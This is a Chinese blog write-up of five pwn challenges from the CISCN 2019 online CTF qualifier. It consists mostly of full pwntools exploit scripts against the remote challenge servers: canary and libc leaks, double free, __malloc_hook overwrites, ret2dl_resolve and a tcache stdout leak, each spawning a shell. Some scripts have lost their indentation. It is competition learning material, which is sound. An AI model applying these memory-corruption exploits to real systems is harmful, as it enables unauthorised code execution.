CISCN_2019_线上

PWN部分 除了VM

Sart

  • 一共6题pwn题 只解出5题
  • PWN题总体来说除了我不会做的难度不大.从分数看来相比去年各个战队对pwn题的重视程度普遍提高
  • 无奈从没pwn过VM最后一题挣扎了半天也没什么效果等其他队伍wp出来了再好好学习一波

    your_pwn

    热身签到题,随便看,随便改.
    无奈我太慌张了脑子一热居然上手就泄露canary…
    泄漏完了就在想我是谁我在干什么..
    正确的做法是泄露libc 将返回地址改成one就可以了…
    不想改exp直接放我那个傻逼exp把..
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    from pwn import *
    #p=process('./pwn')
    p=remote("39.106.224.151",57856)
    name="n132"
    p.sendlineafter("name:",name)
    for x in range(7):
    p.sendlineafter("index\n",str(0x149+6-x))
    p.readuntil("(hex) ")
    re=int("0x"+p.readline()[:-1],16)
    re=re&0xff
    canary=re+canary*0x100

    p.sendlineafter("value\n",str(re))

    base=0

    for x in range(6):
    p.sendlineafter("index\n",str(0x278+5-x))
    p.readuntil("(hex) ")
    re=int("0x"+p.readline()[:-1],16)
    re=re&0xff
    base=re+base*0x100
    p.sendlineafter("value\n",str(re))
    base=base-(0x7ffff7a2d830-0x00007ffff7a0d000)
    log.info(hex(base))
    tmp=0
    one=0x45216+base
    log.info(hex(one))
    l=[0xff0000000000,0xff00000000,0xff000000,0xff0000,0xff00,0xff]
    for x in range(6):
    p.sendlineafter("index\n",str(0x278+5-x))
    p.readuntil("(hex) ")
    re=int("0x"+p.readline()[:-1],16)
    re=re&0xff
    base=re+base*0x100
    p.sendlineafter("value\n",str((one&l[x])>>(8*(5-x))))
    context.log_level='debug'
    for x in range(22):
    p.sendlineafter("index\n",str(0))
    p.sendlineafter("value\n",str(0))
    p.sendlineafter("es/no)? ","no")
    p.sendline(token)
    p.interactive()

daily

这种题之前没见过
一开始思路错了…还以为是house of spirite
幸亏一边写exp一遍想…发现double free更快…
也比较简单幸亏手速够快拿了个2血

analysis

checksec

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)

  • 没开pie感觉自己有被迫害恐惧症…每次没开pie都没注意都以为题目开了pie做到一半才想起来
  • 存在show,没有末尾加截断可以泄露libc,heap
  • free idx没有检查可以free任意地址上的指针.

思路

  • 泄露libc,heap
  • heap上留指向某chunk的指针
  • double free

    exp

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    from pwn import *
    def cmd(c):
    p.sendlineafter("ice:",str(c))
    def add(size,c='A'):
    cmd(2)
    p.sendlineafter("ily:",str(size))
    p.sendafter("daily\n",str(c))
    def show():
    cmd(1)
    def free(idx):
    cmd(4)
    p.sendlineafter("ily:",str(idx))
    def edit(idx,c):
    cmd(3)
    p.sendlineafter("ily:",str(idx))
    p.sendafter("daily\n",str(c))
    context.log_level='debug'
    #p=process('./p2')
    p=remote("39.106.224.151",58512)
    add(0x88,"A")#0
    add(0x18,"B")#1
    free(0)
    add(0x88,"A")#0
    show()
    p.readuntil("0 : ")
    base=u64(p.read(6).ljust(8,'\x00'))-(0x7ffff7dd1b41-0x00007ffff7a0d000)

    add(0x18,"A")#2
    free(1)
    free(2)
    add(0x18,"A")#1
    show()
    p.readuntil("1 : ")
    heap=u64(p.readuntil("=")[:-1].ljust(8,'\x00'))-0x41

    add(0x18,p64(0x68)+p64(heap+0xd0+0x10))#2
    add(0x68,"A")#3
    add(0x68,'A')#4
    free(3)
    free(4)
    idx=(heap+0xa0-0x0602060)//16
    free(idx)
    libc=ELF("/lib/x86_64-linux-gnu/libc-2.23.so")
    libc.address=base
    add(0x68,p64(libc.symbols['__malloc_hook']-35))#3
    add(0x68)#4
    add(0x68)#5
    one=0xf02a4
    add(0x68,'\x00'*19+p64(one+base))
    free(3)
    free(5)
    log.warning(hex(base))
    log.warning(hex(heap))
    #gdb.attach(p,'b *0x000000000400C16')

    p.interactive()

baby_pwn

…这题就不敢恭维了..
这题我在前几天的博客里刚总结过…差不多的..这里不多说
结果本菜鸡 bss设置错误导致我弄了1小时45分才做出来…

经验

  • dl的题目变化不大 特点是没有leak 有溢出
  • 照着上次总结的模板改就可以
  • 如果调试有问题先换换bss看看能不能运行过前面一些基本地址获取
  • 注意是否可以获得符号<_dl_fixup+166> add eax, dword ptr [ebx]此条过后eax应该指向fake_strtabsystem
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from pwn import *
context.log_level='debug'
context.arch='i386'
#p=process('./pwn')
p=remote("39.97.227.64",56833)
got=0x804a00c
read=0x8048390
rbp=0x080485db
ppp=0x080485d9
ret=0x080481ab
bss=0x0804a810
plt0=0x8048380
strtab=0x804827c
dynsym=0x80481dc
dynrel=0x804833c#plt
p2=flat(
[got,0x07+(((bss+0x10-dynsym)/0x10)<<8)],bss+0x28-0x804827c,bss+0x28-0x804827c,# DYN_REL & ALAIGN
[bss+0x28-strtab,0x12,0,0,0,0],#DYNSYM
)+"system\x00\x00"+"/bin/sh\x00"#DYNSTR

payload="\00"*0x28+p32(0)+p32(read)+p32(ppp)+p32(0)+p32(bss)+p32(0x597)+p32(plt0)+p32(bss-dynrel)+p32(bss+0x30)*2
p.send(payload)
#gdb.attach(p,'')
sleep(1)
p.send(p2)

p.interactive()

double

这题放的比bms晚几秒…导致我直接上手bms错过了竞争这题的前几血的机会…
这题主要是逆向逆清楚了就知道了…虽然我当时心里急没咋逆清楚就上手了…就是调着调着就出来了

Analysis

  • 存在show但是每次输入被截断
  • 没开pie,链表结构储存chunk
  • 内容相同的话不再创建新的内容chunk而是直接指向#这里我没逆清楚我只知道 空状况下add(A) add(A) add(B) free(0) free(2) free(1)造成double free不过也够用了
  • edit里用的是memncpy不会被0截断,add里面用的是strncpy会被截断…这个卡了我好久..一直以为都是strncpy

思路

  • double free控制bss 盖掉head_ptr指向bss 上区域(因为我们不知道其他address)
  • edit 上去一个 fake_chunk 其中的ptr指向got用来泄露
  • show to leak
  • edit to hijacking

    exp

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    from pwn import *
    #context.log_level='debug'
    def cmd(c):
    p.sendlineafter("> ",str(c))
    def add(size,data="A"):
    cmd(1)
    p.sendlineafter("data:\n",data.ljust(size,'\x00'))
    def show(idx):
    cmd(2)
    p.sendlineafter("dex: ",str(idx))
    def edit(idx,c,size):
    cmd(3)
    p.sendlineafter("dex: ",str(idx))
    p.sendline(c.ljust(size,'\x00'))
    def free(idx):
    cmd(4)
    p.sendlineafter("dex: ",str(idx))
    p=process('./pwn')
    #p=remote("39.106.224.151",40002)
    add(0x67,'A')#0
    add(0x67,"A")#1
    add(0x67,'B')#2
    add(0x17,'K')#3
    free(0)
    free(2)
    free(1)
    free(3)
    add(0x67,p64(0x4040bd))
    add(0x67,"B")
    add(0x67,"C")
    add(0x17,"A"*8+p64(0x000000000404018))
    add(0x67,"AAA")
    edit(0,"AAA"+p64(0x4040e0)*2+p64(0x6700000000)+p64(0x000000000404018),0x67)
    show(0)
    libc=ELF("/lib/x86_64-linux-gnu/libc-2.23.so")
    base=u64(p.readline()[:-1].ljust(8,'\x00'))-(0x7ffff7a914f0-0x7ffff7a0d000)
    libc.address=base
    #
    add(0x17,"/bin/sh")
    edit(0,p64(libc.symbols['system']),8)
    log.warning(hex(base))
    free(1)
    p.interactive()#

bms

前面部分是让我逆向队友做的不太清楚他就说啥被耍了什么的…
最坑的一道题,充分诠释了做题5分钟,环境2小时
一开始以为是2.23搞了半天利用控制bss不停清空,unsorted bin atk + partial write 本地不开aslr可以了开了1/4096…然后打了半天没反应..
菜鸡的我完全没注意到群里面的公告…于是改变思路ubuntu18.04+libc2.27.8min完成exp(虽然是1/256不想改了..注意布局应该可以优化到1/16)…结果远程还是不行…
换成ubuntu17.10+libc.26..之前没有这个环境从0开始下了一个..迅雷真坑…
终于打通.

Analysis

题目在tcache下没啥难度就是简单的stdout_flag_leak
可以看看之前的一题HITCONE2018_babytcache

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
from pwn import *
def login():
pass
def c(c):
p.sendlineafter(">",str(c))
def ADD(size,des='A',name="\x00"*6):
c(1)
p.sendafter("name:",name)
p.sendlineafter("size",str(size))
p.sendafter("tion:",des)
def cmd(c):
p.sendlineafter(">\n",str(c))
def add(size,des='A',name="\x00"*6):
cmd(1)
p.sendafter("name:",name)
p.sendlineafter("size",str(size))
p.sendafter("tion:",des)
def free(idx):
cmd(2)
p.sendlineafter("index:",str(idx))
def FREE(idx):
c(2)
p.sendlineafter("index:",str(idx))
#context.log_level='debug'
#p=process('./pwn')
p=remote("90b826377a05d5e9508314e76f2f1e4e.kr-lab.com",40001)
p.sendlineafter("name:","admin")
p.sendlineafter("d:","frame")
#libc=ELF("libc-2.27.so")
add(0x68)#0
add(0x88)#1
add(0x28)#2
for x in range(8):
free(1)
for x in range(7):
free(2)

add(0x68,'\x20\x17')#3
free(0)
free(0)

add(0x68,'\x60\x35')#4icqf9be91c5a02ae0371b8d1bd5f06d7
add(0x68)#5
add(0x58)#6
free(6)
free(6)

add(0x58,p64(0x602060))
add(0x58)
add(0x58,p64(0)*10)

add(0x68)#0

add(0x68,p64(0xfbad1800)+p64(0)*3+'\x00')#1
p.read(8)
p.read(8)
p.read(8)
base=u64(p.read(8))-(0x7ffff7bad3e0-0x7ffff77d6000)
if base&0xfff!=0:
p.close()
ADD(0x97,"A")#2
FREE(2)
FREE(2)
#gdb.attach(p)
log.warning(hex(base))
ADD(0x97,p64(0x3dac10+base))
ADD(0x97)
one=0xfdb8e
ADD(0x97,p64(one+base))
c(1)
p.interactive()

Review

题目难度总体不大…
不会逆向 的pwn手不是好pwn手
不会虚拟机 的pwn手不是好pwn手

Author: n132!
Link: https://n132.github.io/2019/04/22/2019-04-22-CISCN-2019-线上/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.